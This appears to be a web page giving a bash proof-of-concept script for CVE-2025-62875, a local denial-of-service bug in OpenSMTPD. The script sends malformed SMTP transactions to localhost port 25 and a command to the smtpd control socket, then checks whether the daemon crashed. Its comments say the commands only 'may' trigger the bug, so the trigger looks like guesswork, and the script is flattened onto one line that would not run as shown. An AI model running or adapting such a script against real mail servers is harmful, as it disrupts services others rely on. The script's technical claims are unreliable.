CVE-2025-62875 OpenSMTPD本地拒绝服务漏洞

#!/bin/bash # CVE-2025-62875 PoC - OpenSMTPD Local DoS # Description: This script triggers a crash in OpenSMTPD through improper # error condition handling # Author: Based on public security advisory # Usage: Run as low-privilege user on vulnerable OpenSMTPD set -e echo "[*] CVE-2025-62875 OpenSMTPD Local DoS PoC" echo "[*] Target: OpenSMTPD < 7.8.0p0-1.1" # Check if OpenSMTPD is running if ! pgrep -x smtpd > /dev/null; then echo "[!] OpenSMTPD is not running" exit 1 fi echo "[+] OpenSMTPD is running" # Method 1: Trigger via malformed SMTP transaction # This attempts to cause the improper error condition for i in {1..10}; do echo "[*] Attempting to trigger vulnerability (attempt $i/10)" # Send SMTP commands that may trigger the exceptional condition { sleep 1 echo "EHLO test" sleep 1 # Send command that may trigger the bug printf "MAIL FROM:<test\\r\\n>" # Incomplete command sleep 1 echo "QUIT" } | timeout 5 telnet localhost 25 2>/dev/null || true sleep 1 # Check if smtpd crashed if ! pgrep -x smtpd > /dev/null; then echo "[+] SUCCESS: OpenSMTPD has crashed!" exit 0 fi done # Method 2: Alternative trigger via control socket (if available) if [ -S /var/run/smtpd.sock ]; then echo "[*] Attempting via control socket..." # Send malformed control command echo "show filters" | timeout 2 nc -U /var/run/smtpd.sock 2>/dev/null || true fi # Check final status echo "[*] Checking OpenSMTPD status..." if pgrep -x smtpd > /dev/null; then echo "[-] OpenSMTPD is still running - vulnerability may not be triggered" echo "[-] This PoC may need adjustment for specific configurations" else echo "[+] OpenSMTPD has crashed - vulnerability confirmed" fi echo "[*] Done"